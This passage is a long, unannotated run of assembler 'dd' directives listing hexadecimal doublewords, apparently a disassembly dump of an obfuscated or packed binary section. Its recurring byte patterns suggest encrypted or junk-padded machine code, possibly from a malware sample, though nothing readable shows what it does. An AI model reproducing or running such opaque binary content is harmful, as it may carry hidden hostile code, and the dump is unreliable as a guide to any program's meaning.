		dd 0B4A887B9h, 0BAE97692h, 0DD520F18h, 8975B482h, 6A5E039Eh
		dd 0FF3F2A81h, 4B68CA0Dh, 0A1A3FE2Fh, 0D2D2487h, 15000000h
		dd 5662F15Eh, 94EBC0D4h, 5278B1A9h, 3E8DC81h, 49A284BCh
		dd 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h
		dd 97744A0Eh, 0D8331548h, 0E1895108h, 4C181h, 0E9830000h
		dd 240C3304h, 33240C31h, 565C240Ch, 0C681E689h,	4, 8704EE83h
		dd 895C2434h, 1668241Ch, 89000057h, 0BF572434h,	8380EFBh
		dd 81FFC783h, 0B82D55CFh, 51EF814Dh, 8177884Dh,	0FED34DEFh
		dd 5FFB89CFh, 24348B54h, 5304C483h, 6C240481h, 8F4FC773h
		dd 0B8500846h, 3C487D3Eh, 3E35D8F7h, 55E094Bh, 0B208A970h
		dd 58084629h, 5E2434FFh, 4C481h, 34FF0000h, 0C4835B24h
		dd 6ACEE904h, 0F129FFFAh, 1458D0E6h, 0F4E4E2DBh, 145DB86Ch
		dd 0C5030631h, 0C535E0FFh, 99217A39h, 75895A6Bh, 625610CAh
		dd 6B105F11h, 771E7433h, 64B778E1h, 0E41A30B0h,	52156F70h
		dd 540C0444h, 588548ACh, 0F1592988h, 0A3075690h, 5DB3676Ch
		dd 0F6847719h, 0BDF834CDh, 37165ADAh, 318A2E49h, 64F3661Dh
		dd 44763D1Eh, 9D462C75h, 561D5579h, 53230617h, 0C26EB1h
		dd 97A805FAh, 63753F5h,	5927401Fh, 8CC2056Eh, 10E81400h
		dd 4F000000h, 0F7CA349h, 8595B2E8h, 0AA89CD48h,	0E9F4CAA0h
		dd 0Eh,	834CF2D1h, 0D0919E04h, 0F152AE9Dh, 0F5F89F9h, 68Dh
		dd 820F00h, 81000000h, 620EC7h,	8A0F6000h, 3, 60C7BF0Fh
		dd 0DE8h, 46F4B600h, 73C7BC73h,	0BD45F3EFh, 615FD4BEh
		dd 0AF2B861h, 0E8810A65h, 0A64F2AFh, 0FFD78B66h, 98D0F37h
		dd 0F000000h, 380h, 0D0BF0F00h,	0F0B6605Bh, 0EDEB8161h
		dd 0F46D7EEh, 587h, 0C6816600h,	0C3815E66h, 289BCB2Bh
		dd 0DB01C381h, 53FC3A68h, 6E8h,	825E1C00h, 804760EEh, 8F5AEED6h
		dd 7E907h, 0BD20000h, 0D432CF40h, 0F5EF817Eh, 8B6EB0F5h
		dd 0F1C781F0h, 666EB0F5h, 0BEBC681h, 23850F48h,	0E9000000h
		dd 11h,	833A0180h, 93401FDAh, 0D1561823h, 44AC80E1h, 1BE9C8h
		dd 67D90000h, 0A62612ADh, 0B70FB6A0h, 0FF69E9D7h, 7B36FFFFh
		dd 1DA9EA33h, 0A5C5E17Ch, 2C8D8DF5h, 6A063117h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 9057C356h, 95896F98h, 62B35A9h, 0EE18D89h, 8D31062Bh
		dd 62B213Dh, 91E08166h,	0E185C73Eh, 64062B21h, 8B00005Ch
		dd 0E585C7C6h, 62B2Bh, 66000000h, 0FF22AEBAh, 2B1D15B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0E5416A08h, 273195FFh, 6A062Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 8BF256C3h, 57CA50F1h, 8B5BD38Bh, 2B067185h, 0FF006A06h
		dd 2B294595h, 0EBC08B06h, 0EFA66F0Fh, 3737B8CCh, 5CAC783Ch
		dd 0FBD09F93h, 13E8h, 7FEFAF00h, 0DE30EAA8h, 9D029D1Ch
		dd 0A2D60AD8h, 0D1DDE2EAh, 7945BF66h
		dd 35BD8B5Ah, 81062B00h, 5C08C2h, 0D8D8B00h, 0B8062B02h
		dd 16D9h, 16C99D89h, 1A8B062Bh,	0C820Fh, 8D0F0000h, 6
		dd 860Fh, 0C3810000h, 5DF72B14h, 11E8h,	7244D00h, 9A1ADA94h
		dd 23E32F09h, 6F34B768h, 840F50BDh, 0
		dd 5C3815Eh, 8B0B2DF0h,	2B359D8Dh, 0A0C38106h, 803AC388h
		dd 1A894CF5h, 0F199D01h, 0EA83062Bh, 47E68103h,	4A58C795h
		dd 0B18D23h, 0E881062Bh, 1, 0FF90850Fh,	8B66FFFFh, 78D8DFBh
		dd 6A063119h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 7CB6C353h, 0EA802F50h,	0E18D8958h
		dd 0F5062B0Eh, 21E185C7h, 5F38062Bh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 74CE53C3h
		dd 85C7E28Ah, 62B2BE5h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5DC35646h
		dd 8D29B298h, 62B06EDh,	0D45B5FFh, 6A062Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 71B5EBC3h
		dd 0B31E34E8h, 0FFB70F50h, 0F28B6658h, 13E8h, 25B61B00h
		dd 64595076h, 0DC495EBh, 2D5C6603h, 66581237h, 0FE9h, 65946800h
		dd 152E5705h, 0DD2EEF78h, 30129F05h, 3195FF5Ah,	6A062B27h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0C730C355h, 38F183A7h, 9D297C30h,	62B3379h
		dd 95FF006Ah, 62B2945h,	5CEBC08Bh, 0EB59D17Eh, 6CEF46A8h
		dd 2A1658A2h, 62B17468h, 8325BC3h, 71B69F89h, 311A5BABh
		dd 547F0BFFh, 273C141Bh, 0B600B4F1h, 0FF18A2ACh, 1651828h
		dd 263D8725h, 6E003C1Fh, 0C1568840h, 8F60FEAh, 0DBD695EDh
		dd 57ADA74h, 8CDD9FB6h,	0ED17021Fh, 65D3AA5Ah, 0B04454AAh
		dd 3DAE4EDAh, 0B7E9h, 7B78D700h, 459CD77Bh, 0E1C8C3CAh
		dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh
		dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h
		dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h
		dd 97B1EFh, 0A5B4F94Eh,	6B5C009Fh, 924AF07Bh, 52D0008Ah
		dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh
		dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h
		dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh
		dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh
		dd 0
		dd 129D7447h, 5E99E0E3h, 1512E9h, 1C956800h, 85E90631h
		dd 68FFFA65h, 6311D7Bh,	0FA657BE9h, 1E2C68FFh, 71E90631h
		dd 68FFFA65h, 6311F7Fh,	0FA6567E9h, 200D68FFh, 5DE90631h
		dd 68FFFA65h, 63120AFh,	0FA6553E9h, 214368FFh, 49E90631h
		dd 68FFFA65h, 6312203h,	0FA653FE9h, 22AE68FFh, 35E90631h
		dd 68FFFA65h, 63123DEh,	0FA652BE9h, 254868FFh, 21E90631h
		dd 68FFFA65h, 6312693h,	0FA6517E9h, 27AB68FFh, 0DE90631h
		dd 68FFFA65h, 6312907h,	0FA6503E9h, 2A4D68FFh, 0F9E90631h
		dd 68FFFA64h, 6312BEEh,	0FA64EFE9h, 2CEB68FFh, 0E5E90631h
		dd 52FFFA64h, 0A4C33F09h, 0F4138FB1h, 45A25E60h, 91EE2A02h
		dd 0CE3BF7C9h, 0F6C88E0Bh, 4781DD3Ah, 112B2C4Bh, 0DCFA7A95h
		dd 0C7D57A20h, 92DADA25h, 8104DC58h, 0CB3932C7h, 54CBC713h
		dd 0D48CD338h, 9A2936F2h, 0EB3BFC8Eh, 899194h, 5529FEFh
		dd 0C62562F7h, 0A022518Ah, 0B554BADEh, 5BC5B22Eh, 0A6725FECh
		dd 0AB812B39h, 6AF46D3Eh, 8D5EC0A3h, 0A781C3DEh, 0ABDC6A66h
		dd 342D6D3Eh, 0AB9B1523h, 70EE6D3Eh, 0B4A8F7D4h, 7CE23992h
		dd 887CE14Ah, 40043DE1h, 6044FF9Ah, 9336F78Bh, 776C48D7h
		dd 698Fh, 2735C000h, 6D3EA385h,	0A54755F8h, 0D86D3EA3h
		dd 0D5D2A46h, 0F53A3D27h, 71B4D2DBh, 0B5745212h, 0C0EC3484h
		dd 0FE2EBE4Dh, 0C8D4039Fh, 8AC618A1h, 0C96371DCh, 206D3E1Bh
		dd 0AEB00B3Dh, 2A36C512h, 6D3E1B80h, 0EECDF369h, 8FA2EFA3h
		dd 2A46FDBDh, 2EBC10E3h, 646D3EF9h, 5635E9DDh, 0CCCBC204h
		dd 776C12A2h, 0FA5Ah, 12718400h, 0A3A5BD48h, 319A3648h
		dd 0A7A1E029h, 0C004A6B2h, 0E17994EBh, 0DA7F1A45h, 95427E6h
		dd 419C6F51h, 87CA2107h, 0ACB05508h, 8D29319Ah,	4D9EA8B2h
		dd 0A3A5FC2Dh, 9EEBB456h, 89A6CCECh, 0B3F0820h,	1B95A39Dh
		dd 6E94EB80h, 0AF3854F0h, 76556FF0h, 537D21E8h,	94EB9BBFh
		dd 0F02C0A4Ah, 10FBDD97h, 319ED323h, 0C6DE1623h, 76E1798Ah
		dd 0AC7F591Bh, 99AFB592h, 1FD2C32h, 0E578B808h,	8D1847E3h
		dd 0B677490Eh, 0C21031Ah, 0C39BF673h, 0A104A6B2h, 0E179674Ch
		dd 0D1D86645h, 483CC52h, 0B1D6BB52h, 324163ACh,	65FD1A96h
		dd 3AF9D163h, 0A97A5059h, 11F4A6h, 7D471400h, 0CDF36681h
		dd 9CA2B6D1h, 684C0760h, 350F53ACh, 50CD8CF9h, 9FF8340Eh
		dd 0EE0985BFh, 3C5B5769h, 34E62204h, 0DC670917h, 1E1A92DAh
		dd 0E7D9813Ah, 20713C2Bh, 342DE2C3h, 9ADA25E4h,	6F5C40BCh
		dd 7785D21Fh, 8AC6EA72h, 12BE0D0Dh, 6D3F2A84h, 275337CEh
		dd 776BC44Bh, 0C4F3h, 0C781DF00h, 0A3B70AE1h, 9DF4CF4Ah
		dd 4957DC8Bh, 94EBC8A7h, 8C2844DAh, 2C164443h, 6EA22EFDh
		dd 0FB94EBD3h, 44A35F79h, 94C12A0Ch, 0F580CF24h, 0EFFC196h
		dd 0C6E67782h, 84001E8Ah, 88D9EC9Bh, 73BF8BF7h,	70B9D5EFh
		dd 0D5026FDFh, 0DB2C5C7h, 0F966F873h, 682C49Ah,	540F8A19h
		dd 0D9879B70h, 674D3957h, 5D67F72Ah, 0A1B9C8C1h, 289E6A4Ch
		dd 99E18C8Bh, 9515156h,	0F0029E3Ah, 5059FBE4h, 0E89C013h
		dd 0FA000011h, 4CAB6761h, 9CFB3709h, 0ED0A86B8h, 3956526Ah
		dd 96E31F21h, 1E2036A3h, 0EFD985E2h, 0B983D433h, 422227Dh
		dd 2F3DD288h, 92DADD9Dh, 815C74F0h, 0CC2BE7D9h,	0D1F77194h
		dd 0CCC864FAh, 0E1C781C8h, 848470Ah, 0A0A0FF2Eh, 77ED0A86h
		dd 2D277A51h, 0C1BF8F0Bh, 6CFBF848h, 0C68D8540h, 1996888Ah
		dd 0B142FE8Bh, 5E93E365h, 43D6E3F1h, 0A1B9888Ch, 44A9194Ah
		dd 0C60A0D1Bh, 213976C5h, 0F56C2BB6h, 0C49364D3h, 92420951h
		dd 6A4C041Bh, 0A8426EFDh, 0DD611AF9h, 497FE2BDh, 0C385E240h
		dd 0C1FF6B36h, 0D06C63E3h, 0F059CA2h, 2D24F74Eh, 105Dh
		dd 1894B0ADh, 0A86458FFh, 0FB37094Fh, 783A59Ch,	504C76E8h
		dd 71E97225h, 2634534Fh, 0D287E01Ch, 93D532EEh,	8CA379B5h
		dd 0DADECE60h, 0AD858392h, 0AE1C781h, 5B84E959h, 0C6D9CC4Dh
		dd 0A35FC38Ah, 0CA155AAAh, 1212ABBEh, 2BB4AA73h, 3BF1257Ch
		dd 6FEE45A0h, 29D19E06h, 683BF283h, 42FDD664h, 0A1659C67h
		dd 4016F975h, 3DAD71h, 71290000h, 0C054D6E2h, 312994EBh
		dd 0FAF747F8h, 81C3DE6Dh, 7F6A66A7h, 7A8AC692h,	0A803251Fh
		dd 8A941796h, 27193E5Dh, 726DFDEBh, 0A49C6D3Fh,	85210741h
		dd 5769EE09h, 0FB3DD74h, 6FC50000h, 754B111Fh, 0F0628ED9h
		dd 958ADCE6h, 20CF5A85h, 25269A14h, 6573EF6Dh, 6D2526CBh
		dd 0E669A0BEh, 0C1F62C5Bh, 9B2C8A4Ch, 73550F12h, 3E1858B7h
		dd 3D237EEDh, 6F9EA00Bh, 0F6618EFEh, 1243AFEAh,	2FB8A673h
		dd 7BD4EE70h, 242BE2E6h, 9EC9EF69h, 83685C03h, 37500EFFh
		dd 83B01B3Dh, 0C98E0D33h, 5C0A14F7h, 67764AD2h,	8FCCBBA7h
		dd 7E34459Dh, 0BB46912Dh, 766503ADh, 0CDDB7667h, 67766523h
		dd 7DACC856h, 41DBC6D2h, 0FB96795Bh, 0C08F5C78h, 99483AB4h
		dd 0B7D34F79h, 19ABB776h, 568E164Fh, 0ACC8754h,	0FE00000Fh
		dd 50AF6B5Dh, 0A0FF3B0Dh, 0F10E8ABCh, 3D5A5676h, 9AE72325h
		dd 22243AA7h, 0F3D589E6h, 0BD87D837h, 82E2641h,	1321CE8Ch
		dd 92DADF99h, 0F05068ECh, 94EBC062h, 0E302463h,	0FB6C9DBDh
		dd 0EBF9668Bh, 8ADCE7D6h, 6B26B1A9h, 36D9D0F4h,	7EF01CABh
		dd 7F6D2526h, 2526DF51h, 4FACB26Dh, 8DC7DAD3h, 0A5E06FABh
		dd 182685A3h, 0F0D68E91h, 6A713867h, 0A671BDDFh, 57A79467h
		dd 62BFCD1Ah, 6D730889h, 559347EDh, 5784505Dh, 0E7CFCh
		dd 0F5CF8C00h, 457BDE39h, 142A2E49h, 0E0C47F98h, 0AD97CB24h
		dd 0C8550471h, 1770AC96h, 66817D47h, 0B4D3CFF1h, 0BC1E9ABCh
		dd 0E0EF81AFh, 0E66292DAh, 0E1C781C2h, 9BBDB70Ah, 90A514Ch
		dd 0EBC071FBh, 0FE1A0494h, 7AFB7C0Fh, 0DE0E5886h, 65B67D96h
		dd 10000009h, 85D21F6Fh, 0DCE77777h, 0C7100E8Ah, 72AE88C8h
		dd 3A465315h, 6D2527B0h, 27119BA9h, 0FA646D25h,	2EFD1901h
		dd 252714A2h, 0B6BB0B6Dh, 45FF9A29h, 37F68863h,	83E7899h
		dd 0ACB89773h, 67482002h, 254FEB77h, 505CBE3Fh,	0DA84CF1Ch
		dd 2E00000Dh, 809F1B2Dh, 0D02FEBDDh, 217EBA8Ch,	6D8A0626h
		dd 0AAD7D3F5h, 0D2F46AF7h, 0A3A5B9D6h, 6D570867h, 381E56B1h
		dd 0E3F11EFCh, 92DAE049h, 8120383Ch, 0B70AE1C7h, 37309BBDh
		dd 0E28CBA8Eh, 9A7D96DDh, 8D0h,	0C062F044h, 0D7D94EBh
		dd 856977E0h, 0F88ADCE6h, 0DA9AF966h, 6DE700FCh, 83F3604Bh
		dd 36D3E16Eh, 3573083Fh, 1F109AA6h, 65F96748h, 5F68863h
		dd 7DCAAFC6h, 3450B9A7h, 8B139DABh, 0F8666748h,	46EC7231h
		dd 505D53A8h, 46E960B3h, 0C200000Dh, 1473AF99h,	64837F41h
		dd 0B5D2CEF0h, 11E9AB2h, 5EAB6759h, 6658FE9Bh, 37114DAAh
		dd 81BB9CFBh, 4C6AEA05h, 57658A50h, 92DAE1D5h, 8194ACA8h
		dd 0DD3822C7h, 65359D35h, 3E5AF6B3h, 0F0D68EEDh, 0F7753867h
		dd 1C613633h, 9FE86365h, 0DBD21941h, 0B2962F48h, 0FACA910Ch
		dd 2B2E0911h, 79F59415h, 2D7D97A2h, 818h, 0D21F6FA9h, 24EF1685h
		dd 0A13CF8DDh, 89802A36h, 65F594EBh, 949FADA4h,	0D78ADCAFh
		dd 4D9EB8B8h, 2139FC2Dh, 6C99DBB6h, 967F8981h, 0E723BFD1h
		dd 1DEEC888h, 247321CFh, 0A1CE3E6Dh, 3D075B36h,	0B65950EEh
		dd 96A6FAAh, 4AF86673h,	505BF2A6h, 86C78E5Dh, 8200000Ch
		dd 0D433EFD9h, 2443BF81h, 75920E30h, 0C1DEDAF2h, 1E6BA799h
		dd 0A698BE5Bh
		dd 77510D6Ah, 0C1FB5CBBh, 8CAAAAC5h, 97A54A10h,	92DAE215h
		dd 81D4EC68h, 0B70AE1C7h, 514C9BBDh, 45D53616h,	0EA6AB144h
		dd 0C05FD1FFh, 2C3294EBh, 71E43B90h, 5F40019Ch,	51ED2660h
		dd 4E322B7Ah, 0E9DD669Bh, 97BBB1BDh, 75A557Dh, 0F0710000h
		dd 94EBC07Dh, 72DD1262h, 0DCE69066h, 0E26DED8Ah, 22243857h
		dd 2978B1C9h, 728D092Fh, 46F7D4F2h, 0C36EF9F6h,	60A993C4h
		dd 826ED50h, 0D44D8073h, 0CA84AE8Ch, 9763912Dh,	78505CECh
		dd 0BDBA0ABh, 2E2F0000h, 0DA819E1Ah, 8BD12EEAh,	271E79B5h
		dd 0F46A8501h, 0F4ABD6D2h, 0D1CDF76Bh, 66A2A4B6h, 0B06C5009h
		dd 0FF3B1D57h, 48E20E1Dh, 3D92DAE2h, 0C7812307h, 0BDB70AE1h
		dd 67414C9Bh, 368C2B7Fh, 0A20D8009h, 67E1C5B9h,	18524541h
		dd 0CC7D97A8h, 162h, 3702710Eh,	0FAE07591h, 7414049h, 0FD77CA21h
		dd 5530DFDBh, 4ED03B0Dh, 115EAE5Fh, 0F95C3BC6h,	535AE4C7h
		dd 0C63CA43Dh, 8467FB8Ah, 3E20BA48h, 7D41F06Dh,	6CBE1551h
		dd 81D4B377h, 0DB426Ch,	0BEDA8173h, 2CBA4Fh, 6F240000h
		dd 7785D21Fh, 8AC6EA72h, 0E382261h, 0A9021C9Fh,	3F2A9523h
		dd 5530DF6Dh, 52EC3F09h, 0B0DEA25Bh, 776BC3B6h,	0D06Eh
		dd 0C7816800h, 0A3B70AE1h, 75EF3299h, 23257853h, 0E96F92C6h
		dd 0CE6AF4D7h, 0C5C15DFDh, 0EBF447DBh, 0A482C294h, 35D84C3Bh
		dd 0F5694CB6h, 6FDF4E34h, 0A3B6D502h, 43E882AEh, 0FD9D6B14h
		dd 0B6278A61h, 5249BCDFh, 0DE71B8D4h, 26AD46B2h, 64F36F75h
		dd 930F3129h, 6E4E0984h, 0F50CFD9Dh, 5B295B6Dh,	284A2EADh
		dd 0AAB50FBh, 0FE5F0000h, 0AAB1CECAh, 5B011E9Ah, 174EA965h
		dd 0C49AF531h, 4FB0682h, 1FDC79Bh, 565274E6h, 0E01C2039h
		dd 2FEBCD87h, 38B2DE6Dh, 4D92DAE3h, 0D981F3D7h,	2F3D3024h
		dd 94EBC09Dh, 0F9D26EF0h, 0A7FEDDB2h, 0CA66A69Dh, 531572AEh
		dd 1EB154A6h, 0BA85261Ch, 86510913h, 6CFB1784h,	0B11A2A31h
		dd 958260A9h, 0AF5E60F6h, 0E1C7812Bh, 9BBDB70Ah, 0CF95F01Fh
		dd 6D0530F9h, 76000005h, 0C053DDEBh, 382694EBh,	271D5F1h
		dd 0EEB742EDh, 0E51697C8h, 600F5895h, 94C62325h, 0A5B516B2h
		dd 77716C64h, 2D688AC6h, 0FB28C431h, 4FC6CEC6h,	0CD95D833h
		dd 4AE8ED1Bh, 31F43551h, 600EC229h, 916D3EF6h, 371AF1D7h
		dd 3EF68729h, 0B64FA6Dh, 91B7B156h, 2388243Ah, 71F8CC71h
		dd 82B094ADh, 776C0FE8h, 0B5E4BBE6h, 713E0852h,	7AB316AAh
		dd 225ADh, 7BF02900h, 7A94EBC0h, 1F4E5F0Fh, 0A26BAAFAh
		dd 0A32C41B1h, 0EA8A6914h, 12FA7480h, 938F94EBh, 0DE6247A4h
		dd 0E455A12Fh, 0A9D48ADCh, 4F53EB0Fh, 2ECD3C09h, 68E8A730h
		dd 0DC82014Eh, 0D07F23EAh, 7848DAA5h, 0C4C59958h, 0FA5EBBBDh
		dd 9E6D5707h, 0FB876480h, 2487B99Ch, 202DFE1Ah,	0A934A3D0h
		dd 7A5177EAh, 0F3D58BE4h, 0B27963Ah, 0E07E7308h, 5CD3DC52h
		dd 0CD845750h, 941h, 74B094C9h,	8400441Bh, 0D7D3F56Bh
		dd 639FB9B8h, 0AC685204h, 5D059E41h, 0A50AF6Bh,	0BEA3FC38h
		dd 77F10E8Ah, 68875551h, 0DAE5D25Ch, 89A1A792h,	0AE1C781h
		dd 309BBDB7h, 22887CE1h, 0BCDB0422h, 3B47A49Eh,	0DF8B0CF2h
		dd 877D96D9h, 15Ah, 0E1C78143h,	758470Ah, 4AE63D4Fh, 490B1697h
		dd 0A2A5E06Fh, 0AE5F038Ah, 3BC6115Eh, 0CAC3E55Ch, 0C6AC33C6h
		dd 51F528Ah, 0C79F5D84h, 0C10FDC78h, 6D3EC133h,	0B1B3EE79h
		dd 19ED1697h, 6BDE81EDh, 3E2577h, 6FA10000h, 1685D21Fh
		dd 0AAA273A0h, 183C1BA2h, 5C68E726h, 8AC6B455h,	76D53628h
		dd 8853DDEBh, 38266D3Eh, 8831DFF1h, 0FA7B6D3Eh,	2C355006h
		dd 254183DBh, 2189E5E4h, 0C13D776Ch, 99000000h,	0AE1C781h
		dd 2E084847h, 0DA311751h, 243A4544h, 0F272C922h, 0CCB28607h
		dd 4105212h, 94EBCD6Ah,	98E7031Fh, 0DD6E3860h, 2388242Ah
		dd 129164DCh, 0D902826h, 0AB35F10Dh, 94EB6807h,	484462E2h
		dd 16AF71C1h, 5A912CD0h, 1877E07Ch, 97AB0042h, 3DEDFB16h
		dd 508AD989h, 0E6F281CEh, 6D390D44h, 69E82139h,	9612342Ah
		dd 55DFE179h, 4A2DD1EBh, 0F6C88350h, 12000007h,	64837F49h
		dd 0B4D3CFF1h, 5629EA0h, 51AE6A42h, 8EFB3709h, 36084ECBh
		dd 87C19DFAh, 516BEC0Bh, 1C3A3A55h, 7153AE0h, 92DAE665h
		dd 81441C18h, 0A1B9D4D9h, 24324C9Fh, 94EBC08Ah,	87A1A0FFh
		dd 0B4D3CF6Bh, 7A1E9ABCh, 0C6D2C781h, 94EBC024h, 46A5C159h
		dd 0A35F79FBh, 2D3B0h, 1F6FA600h, 0C17785D2h, 9C8ADCE6h
		dd 3F365582h, 23ACB219h, 25269B15h, 0B970EE6Dh,	2658E6EAh
		dd 0F5126D25h, 26D05A66h, 0B5A56D25h, 0CBF7CB74h, 7765BF9Fh
		dd 0C0E65E3Dh, 0C15657EBh, 265h, 0C07BF00Dh, 1F7A94EBh
		dd 372A053Fh, 65A4BA11h, 0E06F84F4h, 30BAC655h,	4594EBC0h
		dd 0C050DAE6h, 352594EBh, 88224E99h, 0FD94EBC0h, 8624AC5Dh
		dd 0CB8ADCE6h, 1E7D0857h, 95A50638h, 6D4B0D14h,	0FB1E56B1h
		dd 0B4E4B166h, 0ADE3249Eh, 2516F511h, 404F98D5h, 9A8212C4h
		dd 6FE22BE3h, 0E582D5C0h, 1DF547C0h, 27E6025Ah,	8F034A9h
		dd 0ADD74B73h, 505D6EFDh, 0DECA9D4Eh, 2A000006h, 7C9B1731h
		dd 0CC2BE7D9h, 1D7AB688h, 6986025Ah, 0A6D3CFF1h, 0CEF066F3h
		dd 9FA9B5D2h, 69530463h, 341252ADh, 0FF0D22F8h,	92DAE74Dh
		dd 812C0400h, 0B70AE1C7h, 0E1309BBDh, 152F2F6Ah, 13976B94h
		dd 24BB7751h, 7D96DA4Ah, 19CF2h, 0C781DC00h, 0BDB70AE1h
		dd 93A14C9Bh, 94EBC019h, 0BF85F26Ch, 3A9C9B57h,	5BD2B079h
		dd 0CA5986EBh, 0F69F113Fh, 6CF294EBh, 0E88E13BDh, 79E18AC6h
		dd 0F4903E92h, 5BDA6D3Eh, 122F3B67h, 52D7776Ch,	78000000h
		dd 3807411Dh, 90B813Dh,	1FBB7296h, 54D6E271h, 0B594EBC0h
		dd 2D4D9EAEh, 7DF750CEh, 51A1525Bh, 65467ADFh, 22EB9D5h
		dd 8AC6EAEFh, 3C13F866h, 0C8C1E761h, 3F293AC8h,	0FDC1706Dh
		dd 0CBECA59h, 416D3F29h, 0BDA9D0D9h, 61776BC2h,	0BBh, 0E1C7816Dh
		dd 5AA3B70Ah, 4BA03C1Ah, 715A7CF4h, 0A59FBFDAh,	0C09C2E3Ah
		dd 69F194EBh, 0F2E761A0h, 0EBC044E6h, 85213994h, 72C0CF5Ah
		dd 734E081Ch, 0CE9719C7h, 74EA94EBh, 0A844E20Bh, 0BB7218CBh
		dd 0BFCD58C7h, 94EB8C0Dh, 7B407ADCh, 36AA26E7h,	0D394EC0Ah
		dd 0F27BB791h, 0D6E26D82h, 7526D12Ah, 0CFE96827h, 94C35FDEh
		dd 0A35F61F9h, 9A281244h, 4A2E8A32h, 82EB62B1h,	86000005h
		dd 0D837F3D5h, 28474385h, 79961234h, 0C522DEFEh, 26FAB9Dh
		dd 0AA9CC25Fh, 7B4D116Eh, 0C5FF60BFh, 90B6AEC9h, 9BA94614h
		dd 92DAE911h, 81C8E064h, 0CC2BE7D9h, 6625B294h,	5DFDCEF0h
		dd 71E2F6ACh, 0F4BDB602h, 0A679CA8Bh, 0EBE857A8h, 4F618116h
		dd 7CF9E339h, 9ED629E0h, 540C53B8h, 0B4A6E572h,	0B6213992h
		dd 0EB0B00AAh, 24E57594h, 2AA2D17Eh, 540E483Eh,	4F862834h
		dd 67FB94EBh, 394BC2CBh, 0A4000000h, 38EA52F9h,	8706F96Fh
		dd 0E1C78103h, 98BCEB76h, 20C1D6E5h, 18E48650h,	819994EBh
		dd 0ABD67508h, 37D6F478h, 0D827E6D8h, 0B86DBE98h, 7DF7BB8Fh
		dd 1CB45F5Bh, 0A2000000h, 0AE1C781h, 0EBC03BC6h, 72014094h
		dd 0EBC0C466h, 68A1B994h, 0ADA70BFFh, 818B0F8Bh, 83E22C7h
		dd 0DE2E1FECh, 79F80D52h, 56E8C35Fh, 0D59FAD3Ah, 788ADCE6h
		dd 5A1A79E6h, 4A084BFh,	0D3F56F88h, 0F6FB4BF8h,	13E5B69h
		dd 5E3D7312h, 5AE4C7F9h, 0FB9DD053h, 9EADC796h
		dd 0AEED7A96h, 0FB1490B6h, 95F05F79h, 7C0FFECEh, 0E5727FCFh
		dd 5BA5AAD7h, 70EAA979h, 24E57556h, 461A41h, 7B005EE4h
		dd 0B86B568Eh, 43C91h, 0B58FCC00h, 53B1E79h, 0D4EA6E89h
		dd 0A084BFD8h, 6D570B64h, 89544B1h, 57B06C56h, 0A6C13D07h
		dd 0F4138FB1h, 0FC5E5A7Ch, 0EAAF416Fh, 0A6A292DAh, 0E1C78182h
		dd 0AC8ACA25h, 6640005Fh, 3D013A85h, 0CDC9EF69h, 96D9A0CAh
		dd 3B447Dh, 71860000h, 0C054D6E2h, 312994EBh, 0FAF747F8h
		dd 92125F6Dh, 1D3D8AC6h, 0BE82D7B2h, 72C45442h,	0C6C56D3Fh
		dd 227DAC92h, 87293722h, 0FA6D3F72h, 0B3CCC864h, 1E319AAEh
		dd 3B5h, 0C30271F8h, 0D0578160h, 86BEC1C8h, 7CF44BA0h
		dd 0F4D15B69h, 263894EBh, 48B3CF1Ch, 0F455D7E5h, 362894EBh
		dd 8B827E9Ah, 9BA9363Bh, 8AC6EA06h, 0D05A66F5h,	0A56D3EF2h
		dd 0BD9BDAB5h, 26B1A94Ch, 4C12F36Bh, 5C2FDE7Ah,	3EF2E270h
		dd 9FA86Dh, 4B0C6B5Dh, 5849A71h, 70FA281Ch, 14776C0Fh
		dd 38h,	0D21F6FB6h, 0EA727785h,	0D0D8AC6h, 2A8412BEh, 0EE756D3Fh
		dd 0B7AE0DDEh, 72EB3A91h, 8D86088Eh, 0CFC546DCh, 0C5C06FB3h
		dd 0C67FAE9Eh, 959AD402h, 0D442776Bh, 8C000000h, 2B5D0271h
		dd 625BB127h, 3A1C54ABh, 0F2D48AD1h, 0A482C219h, 5E78F847h
		dd 0BA4282F1h, 55E50F00h, 0C7B09CE7h, 8F7EA7E5h, 134944D3h
		dd 3CD4FC2Dh, 0CD94EB84h, 0D6E86E8Bh, 27217EBAh, 0CDABD601h
		dd 31E39539h, 0D3ECD3Ch, 6BDA63BDh, 663C8F90h, 6A8F9DCAh
		dd 58AC608h, 20909915h,	8E7884D3h, 0CF730C50h, 73BA8CD0h
		dd 6221AEB0h, 0B1CECAFCh, 0DB6D97A9h, 3050590Eh, 29B68E3h
		dd 0EE6F0000h, 9AC1DEDAh, 4B116EAAh, 0E75EB975h, 0B4AAC5C1h
		dd 34EB1692h, 118DB7ABh, 0A66264F6h, 0F02C1049h, 3FFBDD97h
		dd 8A2CE5Dh, 7D92DAEBh,	0D981E3C7h, 8ACD3024h, 0A5B516B2h
		dd 0F2728D09h, 0C057D9E7h, 342A94EBh, 84F31C98h, 0D68BCCD5h
		dd 4CC185F2h, 713F5B52h, 93784E12h, 0C01E90BCh,	0EF7394EBh
		dd 59A95A53h, 8BCCCB14h, 0CBD978B1h, 8AC6EAA6h,	666A41D9h
		dd 6D3F29D8h, 739F6392h, 776BC2F7h, 0BEAFh, 12712B00h
